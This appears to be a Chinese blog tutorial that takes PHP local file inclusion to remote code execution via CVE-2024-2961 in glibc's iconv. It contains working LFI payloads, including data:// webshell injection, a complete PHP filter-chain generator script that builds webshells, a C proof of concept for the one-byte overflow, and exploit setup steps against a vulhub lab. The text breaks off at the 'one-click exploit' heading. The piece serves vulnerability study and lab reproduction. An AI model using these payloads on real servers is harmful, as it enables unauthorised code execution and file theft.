真正的from LFI to RCE——CVE-2024-2961


重新拾起被曾经被我忽视掉的漏洞——CVE-2024-2961

LFI

LFI,全称local file include,也就是我们的本地文件包含,在我的文件包含篇有讲到,其最简单的格式就是:

1
2
3
4
5
6
7
<?php
highlight_file(__FILE__);
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}
?>

其最基本的利用形式就是直接包含文件名,如果它是个php文件,我们就用伪协议的形式将其base64后的结果包含进来。

1
php://filter/read=convert.base64-encode/resource=flag.php

可以利用data伪协议包含shell,其本质就是写入了一段内容,并且把这个内容包含进来了而已:

1
c=data://text/plain,<?php system('tac fla?.php');?>

由此我们引出了伪协议和过滤器filter的概念,php里有各种不同的filter,也可以同时使用多个不同的或者重复多次使用一个filter,每次使用一个filter都需要用|分隔开,例如对flag.php采用两次convert.base64-encode

1
php://filter/read=convert.base64-encode|convert.base64-encode/resource=flag.php

一些常见的filter

  • convert.base64-encode,执行base64加密
  • convert.base64-decode,执行base64解密
  • string.lower,将字符串转换为小写
  • string.upper,将字符串转换为大写
  • convert.iconv.X.Y,将字符集从X转换成Y

重点讲一下最后一个过滤器,利用到了iconv这个东西,这个在我的文件包含里也有讲过,合理搭配iconv过滤器能够产生意想不到的结果:

例如我们将字符集从我们常用的UTF-8转换为CSISO2022KR

1
php://filter/convert.iconv.UTF8.CSISO2022KR/resource=data://,aaaaaaaaaaaaaa

它的结果变成了:

1
2
3
string(24) "%1B%24%29Caaaaaaaaaaaaaa"

其实是 string(18) "不可见字符$)Caaaaaaaaaaaaaa"

利用base64_decode会有一个特性,只接受某些ascii字符([A-Za-z0-9+=])进行解密,这样就能够去掉C前面的非法字符。由于我们进行了b64decode,会导致原本正常的Caaaaaaaaaaaaaa变得异常。因此我们再进行一次base64加密即可:

1
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode/resource=data://,aaaaaaaaaaaaaa

此时的结果会变成:Caaaaaaaaaaaaaa

由此引出了我们文件包含的一个新的利用方式,iconv。利用iconv可以在文件面前合理添加出我们的字符,例如某道题限制只能够包含/resource=/etc/passwd,但是前面的filter能够让我们自定义添加,这个时候我们合理构造使用的filter就能够写出一个webshell让我们包含,详见php_filter_chain_generator.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
#!/usr/bin/env python3
import argparse
import base64
import re

# - Useful infos -
# https://book.hacktricks.xyz/pentesting-web/file-inclusion/lfi2rce-via-php-filters
# https://github.com/wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT
# https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d

# No need to guess a valid filename anymore
file_to_use = "php://temp"

conversions = {
'0': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2',
'1': 'convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4',
'2': 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921',
'3': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE',
'4': 'convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE',
'5': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2',
'6': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.CSIBM943.UCS4|convert.iconv.IBM866.UCS-2',
'7': 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4',
'8': 'convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
'9': 'convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB',
'A': 'convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213',
'a': 'convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE',
'B': 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000',
'b': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE',
'C': 'convert.iconv.UTF8.CSISO2022KR',
'c': 'convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2',
'D': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213',
'd': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5',
'E': 'convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT',
'e': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937',
'F': 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB',
'f': 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213',
'g': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8',
'G': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90',
'H': 'convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213',
'h': 'convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE',
'I': 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213',
'i': 'convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000',
'J': 'convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4',
'j': 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16',
'K': 'convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE',
'k': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2',
'L': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC',
'l': 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE',
'M':'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T',
'm':'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949',
'N': 'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4',
'n': 'convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61',
'O': 'convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775',
'o': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE',
'P': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB',
'p': 'convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4',
'q': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.GBK.CP932|convert.iconv.BIG5.UCS2',
'Q': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2',
'R': 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4',
'r': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.ISO-IR-99.UCS-2BE|convert.iconv.L4.OSF00010101',
'S': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS',
's': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90',
'T': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103',
't': 'convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS',
'U': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943',
'u': 'convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61',
'V': 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB',
'v': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.ISO-8859-14.UCS2',
'W': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936',
'w': 'convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE',
'X': 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932',
'x': 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS',
'Y': 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361',
'y': 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT',
'Z': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16',
'z': 'convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937',
'/': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4',
'+': 'convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157',
'=': ''
}

def generate_filter_chain(chain, debug_base64 = False):

encoded_chain = chain
# generate some garbage base64
filters = "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
filters += "convert.iconv.UTF8.UTF7|"


for c in encoded_chain[::-1]:
filters += conversions[c] + "|"
# decode and reencode to get rid of everything that isn't valid base64
filters += "convert.base64-decode|"
filters += "convert.base64-encode|"
# get rid of equal signs
filters += "convert.iconv.UTF8.UTF7|"
if not debug_base64:
# don't add the decode while debugging chains
filters += "convert.base64-decode"

final_payload = f"php://filter/{filters}/resource={file_to_use}"
return final_payload

def main():

# Parsing command line arguments
parser = argparse.ArgumentParser(description="PHP filter chain generator.")

parser.add_argument("--chain", help="Content you want to generate. (you will maybe need to pad with spaces for your payload to work)", required=False)
parser.add_argument("--rawbase64", help="The base64 value you want to test, the chain will be printed as base64 by PHP, useful to debug.", required=False)
args = parser.parse_args()
if args.chain is not None:
chain = args.chain.encode('utf-8')
base64_value = base64.b64encode(chain).decode('utf-8').replace("=", "")
chain = generate_filter_chain(base64_value)
print("[+] The following gadget chain will generate the following code : {} (base64 value: {})".format(args.chain, base64_value))
print(chain)
if args.rawbase64 is not None:
rawbase64 = args.rawbase64.replace("=", "")
match = re.search("^([A-Za-z0-9+/])*$", rawbase64)
if (match):
chain = generate_filter_chain(rawbase64, True)
print(chain)
else:
print ("[-] Base64 string required.")
exit(1)

if __name__ == "__main__":
main()

用法:

1
python3 php_filter_generator.py --chain 'xxx'

侧信道

由LFI的iconvfilter引发出了另外一个攻击方式——侧信道。

能够利用到php伪协议的函数包括但不限制于include,例如file_get_contents()file()这些读取函数但是无回显的内容也能够利用file_get_contents()

使用convert.iconv.UTF8.UCS-4LE可能会造成php资源的溢出。因为php.ini中的memory_limit限制了读取的资源大小,默认值为128MB,如果超过此大小,就会导致错误,使得服务器返回500的响应码。

经典老文:PHP Filter链——基于oracle的文件读取攻击 - 先知社区 (aliyun.com)

最后采用dechunk进行分块传输编码逐步读取文件的字符即可。

所有能够受到影响的函数如下:

LFI to RCE

铺垫了这么久,终于进入到正题了。上面讲过了我们的所有能够被filter chain影响的函数都会有这个洞。当php进行字符集转换的时候,它会去调用iconv()函数。这是一个使用转换描述符将输入缓冲区中的字符转换为输出缓冲区的api,前面加黑的字体很难懂,反正就是缓冲区的东西。而在linux上,这个api采用glibc实现,iconv()函数如下:

1
2
3
size_t iconv(iconv_t cd,
char **restrict inbuf, size_t *restrict inbytesleft,
char **restrict outbuf, size_t *restrict outbytesleft);

如果输出缓冲区不够大,iconv()就会报错,这个时候可以重新分配outbuf并且再次调用iconv(),确保永远不会从输入缓冲区读取超过或者向输出缓冲区写入超过inbytesleft或者outbytesleft的数据。也就是通过分配,能够确保不会触发溢出问题

但是有一个字符集打破了这一永远

ISO-2022-CN-EXT

没错,又是我们的中文字符。果然中华文字博大精深(x)

该字符集存于:glibc/iconvdata/iso-2022-cn-ext.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
else if ((used & SS2_mask) != 0 && (ann & SS2_ann) != (used << 8))\
{ \
const char *escseq; \
\
assert (used == CNS11643_2_set); /* XXX */ \
escseq = "*H"; \
*outptr++ = ESC; \
*outptr++ = '$'; \
*outptr++ = *escseq++; \
*outptr++ = *escseq++; \
\
ann = (ann & ~SS2_ann) | (used << 8); \
} \
else if ((used & SS3_mask) != 0 && (ann & SS3_ann) != (used << 8))\
{ \
const char *escseq; \
\
assert ((used >> 5) >= 3 && (used >> 5) <= 7); \
escseq = "+I+J+K+L+M" + ((used >> 5) - 3) * 2; \
*outptr++ = ESC; \
*outptr++ = '$'; \
*outptr++ = *escseq++; \
*outptr++ = *escseq++; \
\
ann = (ann & ~SS3_ann) | (used << 8); \
}

看两个else if*outptr。它会将要转换的字符输入转换成四字节的输出,并且没有做任何的检验就输出。

这样有可能会产生出六种输出:

1
2
3
4
5
6
\x1b$*H        0x1b 0x24 0x2A 0x48
\x1b$+I 0x1b 0x24 0x2b 0x49
\x1b$+J 0x1b 0x24 0x2b 0x4a
\x1b$+K 0x1b 0x24 0x2b 0x4b
\x1b$+L 0x1b 0x24 0x2b 0x4c
\x1b$+M 0x1b 0x24 0x2b 0x4d

这里会出现什么问题呢,直接转换成四字节,就有可能会对我们的iconv所限制的空间产生溢出。

一个简单的poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
/*
CVE-2024-2961 POC
$ gcc -o poc ./poc.c && ./poc
Remaining bytes (should be > 0): -1
$
*/
#include <iconv.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <ctype.h>

void hexdump(void *ptr, int buflen)
{
unsigned char *buf = (unsigned char *)ptr;
int i, j;
for (i = 0; i < buflen; i += 16)
{
printf("%06x: ", i);
for (j = 0; j < 16; j++)
if (i + j < buflen)
printf("%02x ", buf[i + j]);
else
printf(" ");
printf(" ");
for (j = 0; j < 16; j++)
if (i + j < buflen)
printf("%c", isprint(buf[i + j]) ? buf[i + j] : '.');
printf("\n");
}
}

void main()
{
iconv_t cd = iconv_open("ISO-2022-CN-EXT", "UTF-8");

char input[0x10] = "AAAAA劄";
char output[0x10] = {0};

char *pinput = input;
char *poutput = output;

// Same size for input and output buffer
size_t sinput = strlen(input);
size_t soutput = sinput;

iconv(cd, &pinput, &sinput, &poutput, &soutput);

printf("Remaining bytes (should be > 0): %zd\n", soutput);

hexdump(output, 0x10);
}

其中hexdump就是打印出输出的字节,没有其他含义。

主要看我们的main函数。main这里的input是一个AAAAA劄,其中这个我们利用python来打印一下他的字节:

1
print("劄".encode())
1
b'\xe5\x8a\x84'

原本是一个三字节的字符,但是经过该字符集转换后会转换成四字节的输出。

因此即使限制了soutputstrlen(input),也就是8的时候,也会溢出一字节。编译并运行该poc会得到如下的结果:

可以看到我们确实溢出了1bytes。

要想将其利用,我们还得需要php heap(php堆),简单地说就是读取/proc/self/maps,并且从中提取到PHP堆地址libc库文件名,接着下载libc二进制文件并得到system函数的地址并且打rce即可。

简单复现

简单去vulhub下一个docker镜像复现一下exp即可

exploit

依赖安装

1
2
pip install pwntools
pip install https://github.com/cfreal/ten/archive/refs/heads/main.zip

去vulhub下载一个docker-compose.yml部署,或者自己部署一个,把index.php改成这个:

1
?file=/etc/passwd

可以读取/etc/passwd文件。

使用payload:

1
python exp.py url "command"

由于我的docker是在本机(windows)上开的,所以我打算在docker内部安装并且执行exp.py,此时又要将一些安装python3和pip的小知识了:

1
2
apt-get update
apt-get install -y python3

安装完之后就能用python3了

一键利用: